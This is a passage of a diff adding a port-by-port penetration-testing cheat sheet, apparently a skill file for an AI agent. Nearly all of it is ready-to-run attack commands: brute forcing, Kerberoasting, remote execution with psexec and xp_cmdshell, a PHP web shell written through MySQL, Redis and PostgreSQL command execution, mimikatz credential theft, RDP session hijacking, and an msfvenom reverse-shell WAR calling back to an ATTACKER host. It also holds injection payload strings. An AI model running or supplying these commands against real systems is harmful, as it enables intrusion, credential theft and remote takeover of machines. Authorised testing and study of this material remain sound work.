|
34
|
+
# Brute force
|
|
35
|
+
hydra -l root -P wordlist.txt ssh://TARGET
|
|
36
|
+
crackmapexec ssh TARGET -u users.txt -p passwords.txt
|
|
37
|
+
|
|
38
|
+
# Key reuse (found private key elsewhere)
|
|
39
|
+
ssh -i found_key user@TARGET
|
|
40
|
+
|
|
41
|
+
# Agent forwarding abuse
|
|
42
|
+
# If SSH_AUTH_SOCK is set on compromised host:
|
|
43
|
+
ssh-add -l # list forwarded keys
|
|
44
|
+
ssh -A user@NEXT_TARGET # use forwarded key to hop
|
|
45
|
+
|
|
46
|
+
# Username enumeration (CVE-2018-15473)
|
|
47
|
+
python3 ssh_user_enum.py TARGET -u userlist.txt
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
## Port 25 — SMTP
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
# Open relay test
|
|
54
|
+
nmap -p 25 --script smtp-open-relay TARGET
|
|
55
|
+
|
|
56
|
+
# User enumeration via VRFY/EXPN
|
|
57
|
+
smtp-user-enum -M VRFY -U users.txt -t TARGET
|
|
58
|
+
smtp-user-enum -M EXPN -U users.txt -t TARGET
|
|
59
|
+
smtp-user-enum -M RCPT -U users.txt -t TARGET -D domain.com
|
|
60
|
+
|
|
61
|
+
# Header injection
|
|
62
|
+
# In email form: inject headers via newline
|
|
63
|
+
attacker@evil.com%0ACc:victim@target.com
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
## Port 53 — DNS
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# Zone transfer
|
|
70
|
+
dig axfr @TARGET domain.com
|
|
71
|
+
host -l domain.com TARGET
|
|
72
|
+
|
|
73
|
+
# Subdomain brute force
|
|
74
|
+
gobuster dns -d domain.com -w subdomains.txt -r TARGET:53
|
|
75
|
+
dnsenum --dnsserver TARGET domain.com
|
|
76
|
+
|
|
77
|
+
# DNS rebinding
|
|
78
|
+
# Bind attacker domain to alternate between ATTACKER_IP and INTERNAL_IP
|
|
79
|
+
# Bypass same-origin checks to access internal services
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
## Port 80/443 — HTTP/HTTPS
|
|
83
|
+
|
|
84
|
+
See web application testing skills:
|
|
85
|
+
- [injection-checking](../injection-checking/SKILL.md) for input-based attacks
|
|
86
|
+
- [auth-sec](../auth-sec/SKILL.md) for authentication testing
|
|
87
|
+
- [file-access-vuln](../file-access-vuln/SKILL.md) for file operations
|
|
88
|
+
- [recon-and-methodology](../recon-and-methodology/SKILL.md) for web reconnaissance
|
|
89
|
+
|
|
90
|
+
## Port 88 — Kerberos
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
# AS-REP Roasting (no pre-auth required accounts)
|
|
94
|
+
GetNPUsers.py domain.com/ -usersfile users.txt -dc-ip TARGET -format hashcat
|
|
95
|
+
hashcat -m 18200 asrep_hashes.txt wordlist.txt
|
|
96
|
+
|
|
97
|
+
# Kerberoasting
|
|
98
|
+
GetUserSPNs.py domain.com/user:pass -dc-ip TARGET -request
|
|
99
|
+
hashcat -m 13100 tgs_hashes.txt wordlist.txt
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
See [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for full Kerberos attack playbook.
|
|
103
|
+
|
|
104
|
+
## Port 110/143 — POP3/IMAP
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# Brute force
|
|
108
|
+
hydra -l user -P wordlist.txt pop3://TARGET
|
|
109
|
+
hydra -l user -P wordlist.txt imap://TARGET
|
|
110
|
+
|
|
111
|
+
# Manual POP3 login
|
|
112
|
+
nc TARGET 110
|
|
113
|
+
> USER admin
|
|
114
|
+
> PASS password
|
|
115
|
+
> LIST
|
|
116
|
+
> RETR 1
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
## Port 135 — MSRPC
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
# Endpoint enumeration
|
|
123
|
+
rpcdump.py TARGET
|
|
124
|
+
rpcmap.py 'ncacn_ip_tcp:TARGET'
|
|
125
|
+
|
|
126
|
+
# Remote execution via DCOM
|
|
127
|
+
dcomexec.py domain/user:pass@TARGET 'whoami'
|
|
128
|
+
|
|
129
|
+
# IOXIDResolver — network interface enumeration
|
|
130
|
+
IOXIDResolver.py -t TARGET
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
## Port 139/445 — SMB
|
|
134
|
+
|
|
135
|
+
```bash
|
|
136
|
+
# Null session enumeration
|
|
137
|
+
smbclient -L //TARGET -N
|
|
138
|
+
enum4linux -a TARGET
|
|
139
|
+
crackmapexec smb TARGET -u '' -p '' --shares
|
|
140
|
+
|
|
141
|
+
# Share enumeration with creds
|
|
142
|
+
smbmap -H TARGET -u user -p pass
|
|
143
|
+
crackmapexec smb TARGET -u user -p pass --shares
|
|
144
|
+
|
|
145
|
+
# EternalBlue (MS17-010)
|
|
146
|
+
nmap -p 445 --script smb-vuln-ms17-010 TARGET
|
|
147
|
+
|
|
148
|
+
# NTLM relay (see network-protocol-attacks)
|
|
149
|
+
ntlmrelayx.py -tf targets.txt -smb2support
|
|
150
|
+
|
|
151
|
+
# PsExec / WMIExec / SMBExec
|
|
152
|
+
psexec.py domain/user:pass@TARGET
|
|
153
|
+
wmiexec.py domain/user:pass@TARGET
|
|
154
|
+
smbexec.py domain/user:pass@TARGET
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
## Port 389/636 — LDAP
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# Anonymous bind
|
|
161
|
+
ldapsearch -x -H ldap://TARGET -b "DC=domain,DC=com"
|
|
162
|
+
|
|
163
|
+
# Base DN enumeration
|
|
164
|
+
ldapsearch -x -H ldap://TARGET -s base namingcontexts
|
|
165
|
+
|
|
166
|
+
# Dump all users
|
|
167
|
+
ldapsearch -x -H ldap://TARGET -D "user@domain.com" -w pass -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName
|
|
168
|
+
|
|
169
|
+
# LDAP injection
|
|
170
|
+
*)(uid=*))(|(uid=*
|
|
171
|
+
admin)(|(password=*
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
## Port 1433 — MSSQL
|
|
175
|
+
|
|
176
|
+
```bash
|
|
177
|
+
# Brute force
|
|
178
|
+
hydra -l sa -P wordlist.txt mssql://TARGET
|
|
179
|
+
crackmapexec mssql TARGET -u users.txt -p passwords.txt
|
|
180
|
+
|
|
181
|
+
# xp_cmdshell
|
|
182
|
+
mssqlclient.py domain/user:pass@TARGET
|
|
183
|
+
SQL> enable_xp_cmdshell
|
|
184
|
+
SQL> xp_cmdshell whoami
|
|
185
|
+
|
|
186
|
+
# Linked servers → lateral movement
|
|
187
|
+
SQL> SELECT * FROM openquery("LINKED_SERVER", 'select @@servername')
|
|
188
|
+
SQL> EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]
|
|
189
|
+
|
|
190
|
+
# Credential extraction
|
|
191
|
+
SQL> SELECT name,password_hash FROM sys.sql_logins
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
## Port 1521 — Oracle
|
|
195
|
+
|
|
196
|
+
```bash
|
|
197
|
+
# TNS listener enumeration
|
|
198
|
+
tnscmd10g status -h TARGET
|
|
199
|
+
odat sidguesser -s TARGET # brute force SIDs
|
|
200
|
+
|
|
201
|
+
# Default SIDs: XE, ORCL, ORCLCDB, PROD
|
|
202
|
+
|
|
203
|
+
# OS command execution (via Java)
|
|
204
|
+
odat java -s TARGET -d SID -U user -P pass --exec "whoami"
|
|
205
|
+
|
|
206
|
+
# File read/write
|
|
207
|
+
odat utlfile -s TARGET -d SID -U user -P pass --getFile /etc passwd
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
## Port 3306 — MySQL
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
# Brute force
|
|
214
|
+
hydra -l root -P wordlist.txt mysql://TARGET
|
|
215
|
+
|
|
216
|
+
# UDF command execution
|
|
217
|
+
mysql> SELECT * FROM mysql.func; -- check existing UDFs
|
|
218
|
+
# Upload UDF .so → CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so';
|
|
219
|
+
# mysql> SELECT sys_exec('whoami');
|
|
220
|
+
|
|
221
|
+
# File read
|
|
222
|
+
mysql> SELECT LOAD_FILE('/etc/passwd');
|
|
223
|
+
|
|
224
|
+
# File write (INTO OUTFILE — requires FILE privilege)
|
|
225
|
+
mysql> SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
## Port 3389 — RDP
|
|
229
|
+
|
|
230
|
+
```bash
|
|
231
|
+
# Brute force
|
|
232
|
+
hydra -l admin -P wordlist.txt rdp://TARGET
|
|
233
|
+
crowbar -b rdp -s TARGET/32 -u admin -C wordlist.txt
|
|
234
|
+
|
|
235
|
+
# BlueKeep (CVE-2019-0708)
|
|
236
|
+
nmap -p 3389 --script rdp-vuln-ms12-020 TARGET
|
|
237
|
+
|
|
238
|
+
# Session hijacking (if SYSTEM on target)
|
|
239
|
+
query user
|
|
240
|
+
tscon SESSION_ID /dest:console # hijack without password (requires SYSTEM)
|
|
241
|
+
|
|
242
|
+
# RDP credential theft
|
|
243
|
+
mimikatz > ts::logonpasswords
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
## Port 5432 — PostgreSQL
|
|
247
|
+
|
|
248
|
+
```bash
|
|
249
|
+
# Brute force
|
|
250
|
+
hydra -l postgres -P wordlist.txt postgres://TARGET
|
|
251
|
+
|
|
252
|
+
# COPY command execution
|
|
253
|
+
psql -h TARGET -U postgres
|
|
254
|
+
postgres=# CREATE TABLE cmd_exec(cmd_output text);
|
|
255
|
+
postgres=# COPY cmd_exec FROM PROGRAM 'id';
|
|
256
|
+
postgres=# SELECT * FROM cmd_exec;
|
|
257
|
+
|
|
258
|
+
# Large object file read
|
|
259
|
+
postgres=# SELECT lo_import('/etc/passwd');
|
|
260
|
+
postgres=# SELECT * FROM pg_largeobject;
|
|
261
|
+
|
|
262
|
+
# Extension exploitation
|
|
263
|
+
postgres=# CREATE EXTENSION dblink;
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
## Port 5985/5986 — WinRM
|
|
267
|
+
|
|
268
|
+
```bash
|
|
269
|
+
# Evil-WinRM
|
|
270
|
+
evil-winrm -i TARGET -u user -p pass
|
|
271
|
+
evil-winrm -i TARGET -u user -H NTLM_HASH
|
|
272
|
+
|
|
273
|
+
# PowerShell remoting
|
|
274
|
+
$cred = Get-Credential
|
|
275
|
+
Enter-PSSession -ComputerName TARGET -Credential $cred
|
|
276
|
+
|
|
277
|
+
# CrackMapExec
|
|
278
|
+
crackmapexec winrm TARGET -u user -p pass -x 'whoami'
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
## Port 6379 — Redis
|
|
282
|
+
|
|
283
|
+
See [unauthorized-access-common-services SKILL.md §2](./SKILL.md) for full Redis exploitation (SSH key write, crontab, webshell, master-slave RCE).
|
|
284
|
+
|
|
285
|
+
```bash
|
|
286
|
+
# Quick check
|
|
287
|
+
redis-cli -h TARGET ping
|
|
288
|
+
redis-cli -h TARGET INFO keyspace
|
|
289
|
+
|
|
290
|
+
# Module load RCE
|
|
291
|
+
redis-cli -h TARGET MODULE LOAD /path/to/evil.so
|
|
292
|
+
redis-cli -h TARGET system.exec "id"
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
## Port 8080 — Tomcat / Jenkins
|
|
296
|
+
|
|
297
|
+
```bash
|
|
298
|
+
# Tomcat default credentials
|
|
299
|
+
# admin:admin, tomcat:tomcat, admin:password, manager:manager
|
|
300
|
+
curl -u tomcat:tomcat http://TARGET:8080/manager/html
|
|
301
|
+
|
|
302
|
+
# WAR deployment for RCE
|
|
303
|
+
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
|
|
304
|
+
curl -u tomcat:tomcat --upload-file shell.war http://TARGET:8080/manager/text/deploy?path=/shell
|
|
305
|
+
|
|
306
|
+
# Jenkins Groovy console (/script)
|
|
307
|
+
def cmd = "whoami".execute()
|
|
308
|
+
println cmd.text
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
## Port 9200 — Elasticsearch
|
|
312
|
+
|
|
313
|
+
```bash
|
|
314
|
+
# Check for no auth
|
|
315
|
+
curl http://TARGET:9200/
|
|
316
|
+
curl http://TARGET:9200/_cat/indices?v
|
|
317
|
+
|
|
318
|
+
# Dump all data
|
|
319
|
+
curl http://TARGET:9200/_search?pretty&size=1000
|
|
320
|
+
|
|
321
|
+
# Script execution (if enabled)
|
|
322
|
+
curl -X POST http://TARGET:9200/_search -H 'Content-Type: application/json' -d'
|
|
323
|
+
{"query":{"match_all":{}},"script_fields":{"cmd":{"script":"Runtime.getRuntime().exec(\"id\")"}}}'
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
## Port 27017 — MongoDB
|
|
327
|
+
|
|
328
|
+
```bash
|
|
329
|
+
# No auth check
|
|
330
|
+
mongosh --host TARGET
|
|
331
|
+
> show dbs
|
|
332
|
+
> use admin
|
|
333
|
+
> db.getUsers()
|
|
334
|
+
|
|
335
|
+
# Dump all collections
|
|
336
|
+
mongodump --host TARGET --out /tmp/mongodump/
|
|
337
|
+
|
|
338
|
+
# SSRF to admin API (MongoDB Atlas / Ops Manager)
|
|
339
|
+
# Internal REST API may allow user creation or config changes
|
|
340
|
+
```
|